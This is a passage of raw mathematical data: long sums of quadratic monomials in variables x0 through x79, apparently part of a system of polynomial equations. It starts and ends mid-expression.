+ x1*x56 + x1*x59 + x1*x60 + x1*x61 + x1*x63 + x1*x65 + x1*x66 + x1*x67 + x1*x68 + x1*x69 + x1*x70 + x1*x73 + x1*x74 + x1*x76 + x1*x77 + x1*x78 + x1 + x2*x6 + x2*x10 + x2*x11 + x2*x12 + x2*x13 + x2*x14 + x2*x16 + x2*x19 + x2*x22 + x2*x23 + x2*x28 + x2*x29 + x2*x30 + x2*x32 + x2*x34 + x2*x35 + x2*x36 + x2*x37 + x2*x39 + x2*x40 + x2*x41 + x2*x43 + x2*x45 + x2*x47 + x2*x50 + x2*x52 + x2*x53 + x2*x62 + x2*x64 + x2*x65 + x2*x67 + x2*x69 + x2*x70 + x2*x74 + x2*x78 + x2*x79 + x3*x4 + x3*x5 + x3*x7 + x3*x8 + x3*x9 + x3*x11 + x3*x12 + x3*x13 + x3*x15 + x3*x17 + x3*x18 + x3*x22 + x3*x24 + x3*x25 + x3*x26 + x3*x27 + x3*x29 + x3*x30 + x3*x31 + x3*x36 + x3*x40 + x3*x41 + x3*x42 + x3*x44 + x3*x45 + x3*x49 + x3*x50 + x3*x51 + x3*x52 + x3*x53 + x3*x55 + x3*x56 + x3*x58 + x3*x59 + x3*x64 + x3*x66 + x3*x69 + x3*x72 + x3*x73 + x3*x79 + x3 + x4*x5 + x4*x6 + x4*x9 + x4*x11 + x4*x14 + x4*x17 + x4*x18 + x4*x24 + x4*x25 + x4*x26 + x4*x27 + x4*x30 + x4*x34 + x4*x35 + x4*x36 + x4*x38 + x4*x40 + x4*x41 + x4*x42 + x4*x43 + x4*x45 + x4*x48 + x4*x50 + x4*x51 + x4*x52 + x4*x53 + x4*x54 + x4*x57 + x4*x64 + x4*x65 + x4*x74 + x4*x75 + x4*x77 + x4 + x5*x8 + x5*x9 + x5*x10 + x5*x11 + x5*x12 + x5*x13 + x5*x14 + x5*x17 + x5*x18 + x5*x19 + x5*x20 + x5*x21 + x5*x22 + x5*x23 + x5*x25 + x5*x27 + x5*x30 + x5*x31 + x5*x32 + x5*x36 + x5*x37 + x5*x39 + x5*x42 + x5*x43 + x5*x46 + x5*x47 + x5*x50 + x5*x51 + x5*x53 + x5*x55 + x5*x57 + x5*x58 + x5*x63 + x5*x64 + x5*x65 + x5*x66 + x5*x68 + x5*x69 + x5*x71 + x5*x72 + x5*x74 + x5*x75 + x5*x77 + x5 + x6*x11 + x6*x13 + x6*x15 + x6*x16 + x6*x17 + x6*x19 + x6*x20 + x6*x21 + x6*x26 + x6*x28 + x6*x29 + x6*x30 + x6*x31 + x6*x33 + x6*x37 + x6*x38 + x6*x40 + x6*x44 + x6*x49 + x6*x50 + x6*x51 + x6*x53 + x6*x56 + x6*x57 + x6*x58 + x6*x59 + x6*x60 + x6*x62 + x6*x65 + x6*x67 + x6*x68 + x6*x73 + x6*x77 + x6*x79 + x7*x10 + x7*x11 + x7*x13 + x7*x14 + x7*x15 + x7*x16 + x7*x19 + x7*x20 + x7*x23 + x7*x24 + x7*x25 + x7*x26 + x7*x28 + x7*x31 + x7*x32 + x7*x33 + x7*x35 + x7*x37 + x7*x40 + x7*x42 + x7*x43 + x7*x47 + x7*x49 + x7*x50 + x7*x53 + x7*x54 + x7*x55 + x7*x56 + x7*x57 + x7*x59 + x7*x61 + x7*x62 + x7*x63 + x7*x64 + x7*x65 + x7*x66 + x7*x75 + x7*x77 + x7 + x8*x9 + x8*x11 + x8*x13 + x8*x14 + x8*x16 + x8*x22 + x8*x24 + x8*x26 + x8*x27 + x8*x28 + x8*x30 + x8*x33 + x8*x36 + x8*x39 + x8*x40 + x8*x41 + x8*x42 + x8*x43 + x8*x46 + x8*x47 + x8*x50 + x8*x54 + x8*x56 + x8*x58 + x8*x61 + x8*x62 + x8*x65 + x8*x69 + x8*x72 + x8*x76 + x8*x77 + x8*x78 + x8 + x9*x12 + x9*x15 + x9*x16 + x9*x21 + x9*x22 + x9*x24 + x9*x26 + x9*x29 + x9*x30 + x9*x34 + x9*x37 + x9*x43 + x9*x45 + x9*x47 + x9*x49 + x9*x50 + x9*x52 + x9*x53 + x9*x54 + x9*x56 + x9*x59 + x9*x60 + x9*x62 + x9*x65 + x9*x67 + x9*x68 + x9*x69 + x9*x72 + x9*x73 + x9*x79 + x10*x11 + x10*x12 + x10*x14 + x10*x18 + x10*x23 + x10*x27 + x10*x28 + x10*x29 + x10*x30 + x10*x32 + x10*x33 + x10*x34 + x10*x35 + x10*x38 + x10*x40 + x10*x41 + x10*x42 + x10*x43 + x10*x46 + x10*x48 + x10*x51 + x10*x54 + x10*x56 + x10*x57 + x10*x60 + x10*x61 + x10*x64 + x10*x67 + x10*x70 + x10*x71 + x10*x77 + x10*x78 + x11*x12 + x11*x13 + x11*x15 + x11*x16 + x11*x20 + x11*x21 + x11*x22 + x11*x23 + x11*x24 + x11*x25 + x11*x29 + x11*x30 + x11*x32 + x11*x33 + x11*x36 + x11*x39 + x11*x44 + x11*x47 + x11*x48 + x11*x49 + x11*x50 + x11*x51 + x11*x53 + x11*x58 + x11*x62 + x11*x68 + x11*x69 + x11*x72 + x11*x73 + x11*x74 + x11*x76 + x11*x78 + x12*x13 + x12*x15 + x12*x16 + x12*x17 + x12*x22 + x12*x24 + x12*x26 + x12*x29 + x12*x30 + x12*x32 + x12*x37 + x12*x39 + x12*x41 + x12*x42 + x12*x43 + x12*x44 + x12*x49 + x12*x54 + x12*x55 + x12*x56 + x12*x58 + x12*x60 + x12*x61 + x12*x62 + x12*x64 + x12*x66 + x12*x67 + x12*x69 + x12*x71 + x12*x72 + x12*x75 + x12*x76 + x12*x77 + x12*x79 + x13*x14 + x13*x19 + x13*x21 + x13*x25 + x13*x27 + x13*x28 + x13*x29 + x13*x32 + x13*x33 + x13*x35 + x13*x37 + x13*x38 + x13*x39 + x13*x40 + x13*x41 + x13*x43 + x13*x46 + x13*x49 + x13*x51 + x13*x52 + x13*x53 + x13*x55 + x13*x56 + x13*x60 + x13*x62 + x13*x64 + x13*x65 + x13*x70 + x13*x71 + x13*x78 + x13 + x14*x15 + x14*x17 + x14*x21 + x14*x25 + x14*x27 + x14*x30 + x14*x31 + x14*x32 + x14*x33 + x14*x34 + x14*x35 + x14*x36 + x14*x39 + x14*x40 + x14*x44 + x14*x46 + x14*x50 + x14*x52 + x14*x53 + x14*x56 + x14*x58 + x14*x62 + x14*x63 + x14*x64 + x14*x68 + x14*x70 + x14*x74 + x14*x77 + x14 + x15*x18 + x15*x20 + x15*x23 + x15*x24 + x15*x25 + x15*x29 + x15*x33 + x15*x34 + x15*x37 + x15*x38 + x15*x41 + x15*x42 + x15*x43 + x15*x47 + x15*x50 + x15*x52 + x15*x53 + x15*x54 + x15*x57 + x15*x58 + x15*x60 + x15*x63 + x15*x64 + x15*x65 + x15*x66 + x15*x69 + x15*x70 + x15*x71 + x15*x72 + x15*x76 + x15*x77 + x16*x17 + x16*x18 + x16*x20 + x16*x29 + x16*x32 + x16*x35 + x16*x37 + x16*x43 + x16*x44 + x16*x45 + x16*x46 + x16*x47 + x16*x48 + x16*x49 + x16*x50 + x16*x51 + x16*x53 + x16*x55 + x16*x56 + x16*x60 + x16*x61 + x16*x62 + x16*x63 + x16*x64 + x16*x66 + x16*x68 + x16*x69 + x16*x70 + x16*x71 + x16*x74 + x16*x75 + x16*x77 + x16*x78 + x16*x79 + x16 + x17*x18 + x17*x19 + x17*x21 + x17*x24 + x17*x26 + x17*x28 + x17*x29 + x17*x31 + x17*x34 + x17*x36 + x17*x39 + x17*x41 + x17*x43 + x17*x44 + x17*x47 + x17*x48 + x17*x51 + x17*x52 + x17*x55 + x17*x60 + x17*x62 + x17*x63 + x17*x67 + x17*x68 + x17*x70 + x17*x72 + x17*x74 + x17*x75 + x17*x78 + x17*x79 + x18*x20 + x18*x22 + x18*x24 + x18*x25 + x18*x26 + x18*x27 + x18*x28 + x18*x30 + x18*x31 + x18*x33 + x18*x35 + x18*x36 + x18*x37 + x18*x39 + x18*x40 + x18*x42 + x18*x50 + x18*x54 + x18*x57 + x18*x58 + x18*x59 + x18*x60 + x18*x62 + x18*x63 + x18*x64 + x18*x68 + x18*x70 + x18*x71 + x18*x73 + x18*x75 + x18*x76 + x18*x78 + x18 + x19*x23 + x19*x25 + x19*x26 + x19*x29 + x19*x32 + x19*x33 + x19*x34 + x19*x35 + x19*x36 + x19*x37 + x19*x39 + x19*x40 + x19*x41 + x19*x42 + x19*x43 + x19*x54 + x19*x56 + x19*x58 + x19*x59 + x19*x60 + x19*x61 + x19*x64 + x19*x66 + x19*x67 + x19*x68 + x19*x71 + x19*x72 + x19*x75 + x19*x76 + x19*x77 + x19*x79 + x20*x21 + x20*x23 + x20*x24 + x20*x26 + x20*x28 + x20*x31 + x20*x32 + x20*x37 + x20*x39 + x20*x41 + x20*x42 + x20*x44 + x20*x45 + x20*x48 + x20*x49 + x20*x51 + x20*x54 + x20*x57 + x20*x58 + x20*x59 + x20*x61 + x20*x65 + x20*x69 + x20*x72 + x20*x75 + x20*x77 + x20*x79 + x21*x22 + x21*x23 + x21*x25 + x21*x27 + x21*x28 + x21*x29 + x21*x35 + x21*x36 + x21*x38 + x21*x39 + x21*x40 + x21*x42 + x21*x45 + x21*x50 + x21*x51 + x21*x53 + x21*x54 + x21*x55 + x21*x56 + x21*x58 + x21*x59 + x21*x67 + x21*x68 + x21*x72 + x21*x73 + x21*x77 + x21 + x22*x23 + x22*x26 + x22*x28 + x22*x30 + x22*x31 + x22*x34 + x22*x38 + x22*x41 + x22*x43 + x22*x46 + x22*x48 + x22*x49 + x22*x51 + x22*x52 + x22*x55 + x22*x57 + x22*x60 + x22*x65 + x22*x67 + x22*x72 + x22*x74 + x22*x78 + x23*x24 + x23*x25 + x23*x26 + x23*x27 + x23*x28 + x23*x33 + x23*x35 + x23*x36 + x23*x41 + x23*x42 + x23*x48 + x23*x49 + x23*x50 + x23*x54 + x23*x55 + x23*x57 + x23*x58 + x23*x59 + x23*x61 + x23*x62 + x23*x65 + x23*x66 + x23*x67 + x23*x68 + x23*x70 + x23*x72 + x23*x74 + x23*x75 + x23*x76 + x23*x77 + x23*x79 + x24*x26 + x24*x27 + x24*x31 + x24*x33 + x24*x35 + x24*x37 + x24*x38 + x24*x39 + x24*x41 + x24*x42 + x24*x46 + x24*x48 + x24*x50 + x24*x51 + x24*x52 + x24*x54 + x24*x55 + x24*x57 + x24*x58 + x24*x59 + x24*x60 + x24*x61 + x24*x62 + x24*x63 + x24*x65 + x24*x66 + x24*x67 + x24*x70 + x24*x73 + x24*x75 + x24*x77 + x24 + x25*x26 + x25*x28 + x25*x31 + x25*x32 + x25*x33 + x25*x34 + x25*x36 + x25*x37 + x25*x38 + x25*x39 + x25*x41 + x25*x42 + x25*x43 + x25*x44 + x25*x51 + x25*x52 + x25*x54 + x25*x56 + x25*x57 + x25*x58 + x25*x59 + x25*x62 + x25*x63 + x25*x65 + x25*x66 + x25*x69 + x25*x70 + x25*x71 + x25*x73 + x25*x74 + x25*x76 + x25*x78 + x25*x79 + x25 + x26*x27 + x26*x30 + x26*x31 + x26*x33 + x26*x34 + x26*x36 + x26*x37 + x26*x40 + x26*x46 + x26*x50 + x26*x51 + x26*x56 + x26*x57 + x26*x62 + x26*x64 + x26*x66 + x26*x67 + x26*x69 + x26*x70 + x26*x71 + x26*x72 + x26*x73 + x26*x75 + x26*x77 + x27*x29 + x27*x30 + x27*x32 + x27*x33 + x27*x34 + x27*x36 + x27*x37 + x27*x40 + x27*x41 + x27*x42 + x27*x44 + x27*x45 + x27*x46 + x27*x54 + x27*x55 + x27*x58 + x27*x59 + x27*x61 + x27*x65 + x27*x66 + x27*x68 + x27*x69 + x27*x70 + x27*x71 + x27*x73 + x27*x74 + x27*x75 + x27*x79 + x28*x30 + x28*x32 + x28*x33 + x28*x34 + x28*x35 + x28*x39 + x28*x40 + x28*x44 + x28*x45 + x28*x46 + x28*x50 + x28*x51 + x28*x53 + x28*x54 + x28*x55 + x28*x59 + x28*x62 + x28*x67 + x28*x68 + x28*x70 + x28*x71 + x28*x72 + x28*x73 + x28*x76 + x28*x77 + x28*x79 + x29*x32 + x29*x34 + x29*x39 + x29*x42 + x29*x45 + x29*x46 + x29*x47 + x29*x48 + x29*x49 + x29*x53 + x29*x54 + x29*x55 + x29*x56 + x29*x58 + x29*x59 + x29*x61 + x29*x62 + x29*x63 + x29*x64 + x29*x65 + x29*x66 + x29*x67 + x29*x70 + x29*x72 + x29*x74 + x29*x75 + x29*x76 + x29*x78 + x29*x79 + x30*x32 + x30*x33 + x30*x35 + x30*x36 + x30*x37 + x30*x38 + x30*x40 + x30*x41 + x30*x44 + x30*x46 + x30*x47 + x30*x50 + x30*x54 + x30*x55 + x30*x56 + x30*x57 + x30*x60 + x30*x62 + x30*x64 + x30*x65 + x30*x68 + x30*x70 + x30*x72 + x30*x73 + x30*x78 + x30*x79 + x30 + x31*x32 + x31*x33 + x31*x34 + x31*x35 + x31*x37 + x31*x38 + x31*x41 + x31*x49 + x31*x51 + x31*x53 + x31*x55 + x31*x57 + x31*x58 + x31*x59 + x31*x63 + x31*x67 + x31*x68 + x31*x71 + x31*x72 + x31*x75 + x31*x77 + x31*x78 + x31 + x32*x33 + x32*x36 + x32*x37 + x32*x39 + x32*x44 + x32*x45 + x32*x46 + x32*x47 + x32*x51 + x32*x53 + x32*x54 + x32*x55 + x32*x56 + x32*x57 + x32*x58 + x32*x59 + x32*x61 + x32*x64 + x32*x65 + x32*x67 + x32*x69 + x32*x70 + x32*x71 + x32*x72 + x32*x74 + x32*x76 + x32*x78 + x32*x79 + x32 + x33*x35 + x33*x36 + x33*x39 + x33*x41 + x33*x42 + x33*x43 + x33*x47 + x33*x49 + x33*x50 + x33*x52 + x33*x54 + x33*x60 + x33*x64 + x33*x68 + x33*x74 + x33*x75 + x33*x79 + x33 + x34*x35 + x34*x36 + x34*x38 + x34*x39 + x34*x40 + x34*x42 + x34*x43 + x34*x45 + x34*x49 + x34*x51 + x34*x52 + x34*x54 + x34*x57 + x34*x58 + x34*x59 + x34*x60 + x34*x63 + x34*x65 + x34*x66 + x34*x68 + x34*x69 + x34*x70 + x34*x71 + x34*x73 + x34*x75 + x34*x77 + x34*x78 + x34 + x35*x38 + x35*x39 + x35*x40 + x35*x42 + x35*x44 + x35*x46 + x35*x49 + x35*x51 + x35*x53 + x35*x55 + x35*x56 + x35*x57 + x35*x58 + x35*x59 + x35*x63 + x35*x64 + x35*x68 + x35*x69 + x35*x72 + x35*x73 + x35*x74 + x35*x75 + x35*x76 + x35*x79 + x35 + x36*x38 + x36*x42 + x36*x43 + x36*x44 + x36*x45 + x36*x47 + x36*x50 + x36*x55 + x36*x58 + x36*x60 + x36*x63 + x36*x64 + x36*x67 + x36*x69 + x36*x71 + x36*x73 + x36*x74 + x36*x75 + x36*x79 + x36 + x37*x40 + x37*x41 + x37*x42 + x37*x44 + x37*x45 + x37*x47 + x37*x48 + x37*x49 + x37*x50 + x37*x52 + x37*x53 + x37*x54 + x37*x58 + x37*x61 + x37*x62 + x37*x64 + x37*x65 + x37*x66 + x37*x70 + x37*x71 + x37*x73 + x37*x74 + x37*x76 + x37*x78 + x37*x79 + x38*x40 + x38*x41 + x38*x43 + x38*x49 + x38*x50 + x38*x51 + x38*x52 + x38*x54 + x38*x56 + x38*x57 + x38*x59 + x38*x61 + x38*x63 + x38*x65 + x38*x67 + x38*x69 + x38*x75 + x38*x77 + x38*x79 + x39*x40 + x39*x41 + x39*x43 + x39*x44 + x39*x47 + x39*x49 + x39*x50 + x39*x51 + x39*x54 + x39*x56 + x39*x59 + x39*x60 + x39*x61 + x39*x63 + x39*x64 + x39*x67 + x39*x70 + x39*x71 + x39*x75 + x39*x76 + x39*x79 + x39 + x40*x43 + x40*x44 + x40*x46 + x40*x47 + x40*x49 + x40*x50 + x40*x51 + x40*x52 + x40*x56 + x40*x58 + x40*x61 + x40*x62 + x40*x64 + x40*x67 + x40*x68 + x40*x70 + x40*x71 + x40*x72 + x40*x74 + x40*x75 + x40*x76 + x40*x77 + x40*x79 + x40 + x41*x43 + x41*x44 + x41*x45 + x41*x47 + x41*x51 + x41*x53 + x41*x54 + x41*x55 + x41*x56 + x41*x57 + x41*x59 + x41*x60 + x41*x62 + x41*x64 + x41*x67 + x41*x69 + x41*x70 + x41*x72 + x41*x74 + x41*x75 + x41*x77 + x42*x44 + x42*x46 + x42*x49 + x42*x50 + x42*x52 + x42*x53 + x42*x54 + x42*x55 + x42*x65 + x42*x69 + x42*x70 + x42*x74 + x42*x77 + x42*x79 + x43*x44 + x43*x46 + x43*x47 + x43*x55 + x43*x57 + x43*x60 + x43*x62 + x43*x63 + x43*x64 + x43*x66 + x43*x68 + x43*x69 + x43*x70 + x43*x71 + x43*x72 + x43*x73 + x43*x75 + x43*x76 + x43*x78 + x43 + x44*x45 + x44*x47 + x44*x48 + x44*x50 + x44*x52 + x44*x55 + x44*x56 + x44*x58 + x44*x59 + x44*x60 + x44*x62 + x44*x64 + x44*x65 + x44*x66 + x44*x67 + x44*x70 + x44*x73 + x44*x74 + x44*x77 + x44 + x45*x46 + x45*x51 + x45*x55 + x45*x58 + x45*x59 + x45*x60 + x45*x65 + x45*x66 + x45*x70 + x45*x71 + x45*x72 + x45*x76 + x45*x77 + x45*x78 + x45*x79 + x46*x48 + x46*x51 + x46*x52 + x46*x56 + x46*x57 + x46*x60 + x46*x63 + x46*x64 + x46*x69 + x46*x70 + x46*x72 + x46*x75 + x46*x76 + x46*x79 + x47*x49 + x47*x50 + x47*x51 + x47*x52 + x47*x53 + x47*x57 + x47*x61 + x47*x64 + x47*x65 + x47*x67 + x47*x68 + x47*x70 + x47*x74 + x47*x78 + x47*x79 + x47 + x48*x50 + x48*x52 + x48*x53 + x48*x54 + x48*x55 + x48*x56 + x48*x58 + x48*x59 + x48*x63 + x48*x69 + x48*x70 + x48*x71 + x48*x72 + x48*x75 + x48*x76 + x49*x50 + x49*x53 + x49*x54 + x49*x61 + x49*x62 + x49*x63 + x49*x64 + x49*x67 + x49*x68 + x49*x69 + x49*x70 + x49*x74 + x49*x75 + x49*x77 + x49*x78 + x49*x79 + x49 + x50*x58 + x50*x59 + x50*x60 + x50*x61 + x50*x62 + x50*x63 + x50*x65 + x50*x68 + x50*x70 + x50*x72 + x50*x74 + x50*x75 + x50 + x51*x53 + x51*x56 + x51*x59 + x51*x63 + x51*x64 + x51*x65 + x51*x68 + x51*x69 + x51*x70 + x51*x71 + x51*x72 + x51*x78 + x51*x79 + x51 + x52*x55 + x52*x56 + x52*x59 + x52*x60 + x52*x61 + x52*x65 + x52*x66 + x52*x68 + x52*x69 + x52*x73 + x52*x74 + x52*x79 + x52 + x53*x55 + x53*x57 + x53*x61 + x53*x68 + x53*x70 + x53*x71 + x53*x72 + x53*x74 + x53*x75 + x53*x79 + x54*x58 + x54*x62 + x54*x65 + x54*x69 + x54*x70 + x54*x71 + x54*x73 + x54*x74 + x54*x75 + x54*x79 + x54 + x55*x56 + x55*x57 + x55*x58 + x55*x60 + x55*x61 + x55*x62 + x55*x63 + x55*x65 + x55*x66 + x55*x69 + x55*x70 + x55*x71 + x55*x73 + x55*x77 + x55*x78 + x55*x79 + x55 + x56*x57 + x56*x58 + x56*x61 + x56*x63 + x56*x64 + x56*x65 + x56*x66 + x56*x67 + x56*x68 + x56*x69 + x56*x70 + x56*x71 + x56*x72 + x56*x76 + x56*x77 + x56*x78 + x56*x79 + x56 + x57*x60 + x57*x63 + x57*x64 + x57*x65 + x57*x66 + x57*x67 + x57*x68 + x57*x71 + x57*x72 + x57*x73 + x57*x77 + x57*x78 + x58*x63 + x58*x65 + x58*x68 + x58*x69 + x58*x70 + x58*x71 + x58*x72 + x58*x73 + x58*x75 + x58*x76 + x58*x77 + x58*x79 + x59*x60 + x59*x61 + x59*x66 + x59*x68 + x59*x69 + x59*x71 + x59*x72 + x59*x73 + x59*x74 + x59*x76 + x59*x78 + x59 + x60*x61 + x60*x62 + x60*x63 + x60*x65 + x60*x66 + x60*x69 + x60*x71 + x60*x74 + x60*x75 + x60*x78 + x60*x79 + x60 + x61*x64 + x61*x67 + x61*x68 + x61*x69 + x61*x70 + x61*x71 + x61*x72 + x61*x73 + x61*x75 + x61*x76 + x61*x78 + x62*x66 + x62*x67 + x62*x68 + x62*x70 + x62*x72 + x62*x74 + x62*x75 + x62*x76 + x62*x79 + x62 + x63*x68 + x63*x74 + x63*x75 + x63*x76 + x63*x77 + x63*x79 + x64*x68 + x64*x69 + x64*x70 + x64*x71 + x64*x73 + x64*x75 + x64*x76 + x64*x77 + x64*x79 + x64 + x65*x66 + x65*x67 + x65*x68 + x65*x74 + x65*x75 + x65*x76 + x65*x77 + x65 + x66*x69 + x66*x70 + x66*x74 + x66*x75 + x66*x76 + x66*x77 + x66*x78 + x67*x69 + x67*x76 + x67*x77 + x67*x79 + x68*x70 + x68*x72 + x68*x73 + x68*x75 + x68*x78 + x68*x79 + x68 + x69*x70 + x69*x71 + x69*x72 + x69*x74 + x69*x76 + x69*x77 + x69*x79 + x70*x71 + x70*x73 + x70*x74 + x70*x78 + x70 + x71*x72 + x71*x73 + x71*x76 + x71*x77 + x71*x78 + x71*x79 + x71 + x72*x73 + x72*x75 + x72*x77 + x72*x79 + x72 + x73*x74 + x73*x75 + x73*x78 + x74*x75 + x74*x79 + x74 + x75*x76 + x75*x77 + x75 + x76*x77 + x76 + x77 + x78*x79 + x78, x0*x4 + x0*x6 + x0*x7 + x0*x9 + x0*x10 + x0*x15 + x0*x16 + x0*x17 + x0*x19 + x0*x20 + x0*x21 + x0*x22 + x0*x23 + x0*x24 + x0*x26 + x0*x28 + x0*x31 + x0*x32 + x0*x36 + x0*x39 + x0*x44 + x0*x46 + x0*x49 + x0*x50 + x0*x53 + x0*x54 + x0*x55 + x0*x58 + x0*x59 + x0*x60 + x0*x62 + x0*x65 + x0*x67 + x0*x68 + x0*x72 + x0*x73 + x0*x74 + x0*x75 + x0*x76 + x0*x78 + x0*x79 + x0 + x1*x2 + x1*x3 + x1*x6 + x1*x9 + x1*x10 + x1*x11 + x1*x12 + x1*x13 + x1*x15 + x1*x17 + x1*x22 + x1*x23 + x1*x27 + x1*x30 + x1*x31 + x1*x33 + x1*x38 + x1*x40 + x1*x44 + x1*x45 + x1*x46 + x1*x52 + x1*x53 + x1*x54 + x1*x56 + x1*x57 + x1*x59 + x1*x62 + x1*x63 + x1*x64 + x1*x65 + x1*x66 + x1*x67 + x1*x69 + x1*x74 + x1*x77 + x1 + x2*x3 + x2*x4 + x2*x6 + x2*x7 + x2*x8 + x2*x10 + x2*x11 + x2*x13 + x2*x15 + x2*x17 + x2*x18 + x2*x19 + x2*x23 + x2*x24 + x2*x25 + x2*x26 + x2*x30 + x2*x32 + x2*x33 + x2*x35 + x2*x36 + x2*x37 + x2*x38 + x2*x39 + x2*x40 + x2*x41 + x2*x42 + x2*x44 + x2*x49 + x2*x50 + x2*x53 + x2*x54 + x2*x59 + x2*x60 + x2*x61 + x2*x62 + x2*x63 + x2*x67 + x2*x68 + x2*x71 + x2*x73 + x2*x76 + x2*x77 + x2*x79 + x2 + x3*x4 + x3*x5 + x3*x6 + x3*x8 + x3*x10 + x3*x11 + x3*x13 + x3*x16 + x3*x19 + x3*x20 + x3*x22 + x3*x23 + x3*x24 + x3*x27 + x3*x29 + x3*x31 + x3*x32 + x3*x34 + x3*x36 + x3*x37 + x3*x40 + x3*x45 + x3*x46 + x3*x47 + x3*x48 + x3*x50 + x3*x53 + x3*x54 + x3*x55 + x3*x56 + x3*x57 + x3*x58 + x3*x60 + x3*x63 + x3*x66 + x3*x70 + x3*x72 + x3*x73 + x3*x74 + x3*x75 + x3*x78 + x4*x6 + x4*x10 + x4*x11 + x4*x12 + x4*x13 + x4*x15 + x4*x17 + x4*x22 + x4*x23 + x4*x27 + x4*x28 + x4*x30 + x4*x32 + x4*x33 + x4*x34 + x4*x35 + x4*x36 + x4*x37 + x4*x40 + x4*x42 + x4*x44 + x4*x45 + x4*x46 + x4*x47 + x4*x49 + x4*x50 + x4*x51 + x4*x53 + x4*x54 + x4*x55 + x4*x56 + x4*x58 + x4*x59 + x4*x62 + x4*x70 + x4*x72 + x4*x74 + x4*x76 + x4*x77 + x4*x79 + x4 + x5*x6 + x5*x9 + x5*x10 + x5*x11 + x5*x14 + x5*x15 + x5*x16 + x5*x20 + x5*x22 + x5*x25 + x5*x28 + x5*x29 + x5*x31 + x5*x38 + x5*x39 + x5*x40 + x5*x41 + x5*x45 + x5*x47 + x5*x48 + x5*x50 + x5*x52 + x5*x53 + x5*x57 + x5*x59 + x5*x61 + x5*x65 + x5*x67 + x5*x68 + x5*x69 + x5*x71 + x5*x73 + x5*x74 + x5*x75 + x5*x76 + x5*x77 + x5*x79 + x5 + x6*x7 + x6*x8 + x6*x10 + x6*x11 + x6*x12 + x6*x14 + x6*x17 + x6*x18 + x6*x19 + x6*x20 + x6*x22 + x6*x23 + x6*x25 + x6*x32 + x6*x37 + x6*x40 + x6*x42 + x6*x44 + x6*x48 + x6*x49 + x6*x50 + x6*x51 + x6*x53 + x6*x54 + x6*x56 + x6*x57 + x6*x58 + x6*x59 + x6*x62 + x6*x63 + x6*x65 + x6*x68 + x6*x69 + x6*x70 + x6*x71 + x6*x72 + x6*x74 + x6*x76 + x6*x78 + x6*x79 + x6 + x7*x9 + x7*x13 + x7*x14 + x7*x16 + x7*x17 + x7*x19 + x7*x24 + x7*x25 + x7*x26 + x7*x29 + x7*x30 + x7*x34 + x7*x35 + x7*x36 + x7*x37 + x7*x39 + x7*x40 + x7*x41 + x7*x43 + x7*x45 + x7*x47 + x7*x48 + x7*x53 + x7*x55 + x7*x57 + x7*x59 + x7*x61 + x7*x65 + x7*x68 + x7*x70 + x7*x71 + x7*x72 + x7*x76 + x7*x77 + x7*x78 + x8*x9 + x8*x10 + x8*x11 + x8*x13 + x8*x16 + x8*x17 + x8*x18 + x8*x19 + x8*x21 + x8*x22 + x8*x24 + x8*x25 + x8*x27 + x8*x28 + x8*x30 + x8*x34 + x8*x41 + x8*x42 + x8*x43 + x8*x44 + x8*x45 + x8*x46 + x8*x47 + x8*x48 + x8*x50 + x8*x54 + x8*x56 + x8*x57 + x8*x58 + x8*x60 + x8*x61 + x8*x64 + x8*x65 + x8*x71 + x8*x72 + x8*x74 + x8 + x9*x10 + x9*x12 + x9*x13 + x9*x14 + x9*x17 + x9*x19 + x9*x20 + x9*x22 + x9*x25 + x9*x32 + x9*x34 + x9*x35 + x9*x38 + x9*x39 + x9*x41 + x9*x42 + x9*x43 + x9*x44 + x9*x46 + x9*x47 + x9*x48 + x9*x53 + x9*x57 + x9*x58 + x9*x61 + x9*x64 + x9*x66 + x9*x70 + x9*x72 + x9*x73 + x9*x75 + x9*x78 + x9*x79 + x9 + x10*x11 + x10*x16 + x10*x17 + x10*x18 + x10*x19 + x10*x20 + x10*x23 + x10*x28 + x10*x29 + x10*x33 + x10*x35 + x10*x36 + x10*x37 + x10*x40 + x10*x42 + x10*x49 + x10*x50 + x10*x51 + x10*x52 + x10*x53 + x10*x57 + x10*x59 + x10*x60 + x10*x61 + x10*x62 + x10*x63 + x10*x64 + x10*x66 + x10*x68 + x10*x69 + x10*x70 + x10*x71 + x10*x74 + x10*x76 + x10*x78 + x10*x79 + x10 + x11*x13 + x11*x16 + x11*x17 + x11*x18 + x11*x19 + x11*x21 + x11*x22 + x11*x24 + x11*x26 + x11*x27 + x11*x29 + x11*x31 + x11*x32 + x11*x33 + x11*x35 + x11*x36 + x11*x37 + x11*x40 + x11*x41 + x11*x44 + x11*x45 + x11*x47 + x11*x49 + x11*x51 + x11*x52 + x11*x56 + x11*x58 + x11*x60 + x11*x66 + x11*x68 + x11*x69 + x11*x70 + x11*x71 + x11*x73 + x11*x74 + x11*x75 + x11*x79 + x12*x14 + x12*x16 + x12*x18 + x12*x19 + x12*x20 + x12*x21 + x12*x22 + x12*x23 + x12*x26 + x12*x27 + x12*x28 + x12*x30 + x12*x33 + x12*x34 + x12*x35 + x12*x37 + x12*x38 + x12*x39 + x12*x42 + x12*x44 + x12*x46 + x12*x47 + x12*x50 + x12*x51 + x12*x52 + x12*x56 + x12*x59 + x12*x64 + x12*x65 + x12*x66 + x12*x71 + x12*x72 + x12*x73 + x12*x74 + x12*x77 + x12*x78 + x13*x14 + x13*x15 + x13*x17 + x13*x22 + x13*x23 + x13*x25 + x13*x26 + x13*x29 + x13*x32 + x13*x33 + x13*x34 + x13*x39 + x13*x40 + x13*x41 + x13*x46 + x13*x47 + x13*x49 + x13*x50 + x13*x55 + x13*x57 + x13*x58 + x13*x59 + x13*x60 + x13*x61 + x13*x62 + x13*x68 + x13*x70 + x13*x71 + x13*x72 + x13*x73 + x13*x76 + x14*x18 + x14*x19 + x14*x21 + x14*x23 + x14*x25 + x14*x26 + x14*x29 + x14*x37 + x14*x39 + x14*x42 + x14*x47 + x14*x49 + x14*x50 + x14*x52 + x14*x53 + x14*x54 + x14*x55 + x14*x56 + x14*x57 + x14*x59 + x14*x60 + x14*x62 + x14*x63 + x14*x64 + x14*x66 + x14*x67 + x14*x68 + x14*x69 + x14*x70 + x14*x72 + x14*x74 + x14*x77 + x14*x79 + x15*x17 + x15*x18 + x15*x20 + x15*x21 + x15*x22 + x15*x23 + x15*x25 + x15*x26 + x15*x28 + x15*x30 + x15*x35 + x15*x39 + x15*x41 + x15*x47 + x15*x48 + x15*x52 + x15*x53 + x15*x58 + x15*x60 + x15*x63 + x15*x64 + x15*x65 + x15*x66 + x15*x68 + x15*x69 + x15*x70 + x15*x72 + x15*x73 + x15*x74 + x15*x76 + x15*x78 + x15 + x16*x17 + x16*x19 + x16*x21 + x16*x22 + x16*x23 + x16*x25 + 